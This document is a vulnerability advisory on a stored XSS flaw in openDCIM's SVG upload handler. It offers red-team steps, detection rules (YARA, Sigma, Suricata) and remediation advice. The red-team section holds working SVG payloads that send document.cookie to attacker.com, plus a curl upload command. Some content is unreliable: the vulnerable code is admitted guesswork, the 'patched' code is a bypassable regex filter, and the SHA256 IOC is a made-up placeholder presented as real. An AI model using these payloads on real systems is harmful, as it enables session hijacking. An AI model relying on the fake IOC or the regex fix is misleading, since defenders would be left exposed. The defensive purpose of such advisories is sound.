CVE-2025-10253

Executive Summary

CVE-2025-10253 is a stored Cross-Site Scripting (XSS) vulnerability in openDCIM version 23.04, specifically within the SVG file upload handler at /scripts/uploadifive.php. The vulnerability allows an attacker to upload a malicious SVG file containing embedded JavaScript, which, when viewed by an administrator or other user, executes in the context of the victim's browser. This can lead to session hijacking, data theft, or further compromise of the data center infrastructure management (DCIM) system. The vendor has not responded to disclosure, leaving the software unpatched. The attack vector is remote, requires user interaction (viewing the uploaded file), and has a low CVSS score of 3.5 due to the need for user interaction and limited impact on confidentiality.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the openDCIM PHP application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network - The attack can be launched remotely.
• Attack Complexity (AC): Low - No special conditions required.
• Privileges Required (PR): None - No authentication needed to upload.
• User Interaction (UI): Required - The victim must view the uploaded SVG file.
• Scope (S): Unchanged - The vulnerability does not affect other components.
• Confidentiality (C): None - No direct data exposure.
• Integrity (I): Low - Attacker can modify content in the victim's browser.
• Availability (A): None - No impact on system availability.

Threat Level: Low. The requirement for user interaction significantly reduces the risk, but the lack of a patch means any openDCIM 23.04 instance is vulnerable.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of openDCIM's uploadifive.php script. This script handles file uploads for SVG images, likely used for rack diagrams or device icons. The core issue is that the application does not sanitize or validate the content of uploaded SVG files. SVG is an XML-based vector image format that can contain embedded JavaScript via <script> tags or event handlers (e.g., onload, onmouseover).

When a user uploads a malicious SVG file, the file is stored on the server. When another user (e.g., an administrator viewing the uploaded file in a browser) accesses the file, the browser parses the SVG and executes the embedded JavaScript. This is a classic stored XSS attack.

The attack flow:

1. Attacker crafts an SVG file with malicious JavaScript.
2. Attacker uploads the SVG via /scripts/uploadifive.php using the Filedata parameter.
3. The server stores the SVG file.
4. Victim (e.g., admin) views the uploaded SVG (e.g., in a rack diagram or file list).
5. Victim's browser executes the JavaScript, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (openDCIM 23.04): The uploadifive.php script likely contains code similar to:

<?php
// uploadifive.php
$targetDir = "uploads/";
$targetFile = $targetDir . basename($_FILES["Filedata"]["name"]);
move_uploaded_file($_FILES["Filedata"]["tmp_name"], $targetFile);
echo "File uploaded successfully.";
?>

This code does not check the file type, content, or sanitize the SVG.

Patched Code (Hypothetical): A patched version would include:

<?php
// uploadifive.php - Patched
$targetDir = "uploads/";
$targetFile = $targetDir . uniqid() . ".svg";
$fileContent = file_get_contents($_FILES["Filedata"]["tmp_name"]);

// Remove script tags and event handlers
$fileContent = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $fileContent);
$fileContent = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $fileContent);
$fileContent = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $fileContent);

file_put_contents($targetFile, $fileContent);
echo "File uploaded successfully.";
?>

Additionally, the server should set the Content-Type header to image/svg+xml and use Content Security Policy (CSP) headers to block inline scripts.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Step 1: Craft Malicious SVG Create a file named exploit.svg with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
    // Steal cookies
    fetch('http://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="red" />
</svg>

Step 2: Upload the SVG Use curl to upload the file:

curl -X POST -F "Filedata=@exploit.svg" http://target.com/scripts/uploadifive.php

Step 3: Trigger the XSS Access the uploaded SVG file (e.g., http://target.com/uploads/exploit.svg) in a browser. The JavaScript executes.

Step 4: Advanced Payload For session hijacking:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    var img = new Image();
    img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
  </script>
</svg>

Blue Team (Defense & Detection)

Detection:

• Monitor file uploads for SVG files with suspicious content.
• Use WAF rules to block SVG files containing <script> tags or event handlers.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Mitigation:

• Disable SVG uploads if not needed.
• Sanitize SVG files using libraries like svg-sanitizer (PHP).
• Serve uploaded files with Content-Disposition: attachment to prevent browser rendering.
• Use a separate domain for user uploads to isolate cookies.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • exploit.svg: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
• Network Traffic:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
• Log Entries:
  • Access logs showing POST /scripts/uploadifive.php with Filedata parameter.
  • Access logs showing GET /uploads/*.svg from multiple IPs.
• File System:
  • Unexpected SVG files in the uploads directory.

Detection Engineering

YARA Rule

rule CVE_2025_10253_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-10253"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10253"
    strings:
        $svg_header = "<?xml" ascii wide nocase
        $svg_tag = "<svg" ascii wide nocase
        $script_tag = "<script" ascii wide nocase
        $on_event = /\bon\w+\s*=/ ascii wide nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $on_event)
}

Sigma Rule

title: CVE-2025-10253 - SVG Upload XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files with embedded scripts to openDCIM
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/scripts/uploadifive.php'
        cs-uri-query|contains: 'Filedata'
    filter:
        cs-uri-query|endswith: '.svg'
    condition: selection and filter
falsepositives:
    - Legitimate SVG uploads without scripts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10253 - SVG Upload XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/scripts/uploadifive.php"; http_uri; content:"Filedata"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG Uploads: If not critical, remove or disable the uploadifive.php script.
2. Sanitize Uploads: Implement server-side sanitization of SVG files to remove scripts and event handlers.
3. Content Security Policy: Add CSP headers to block inline scripts:

   Header set Content-Security-Policy "default-src 'self'; script-src 'none';"
   

4. File Serving: Serve uploaded files with Content-Disposition: attachment to prevent browser rendering.

Long-Term Fix:

• Upgrade to a patched version of openDCIM if available.
• Implement a Web Application Firewall (WAF) rule to block SVG files with <script> tags.
• Conduct a security audit of the entire application.

Workaround:

• Use a reverse proxy to inspect and block malicious SVG uploads.

Valters IT
Securing Digital Infrastructure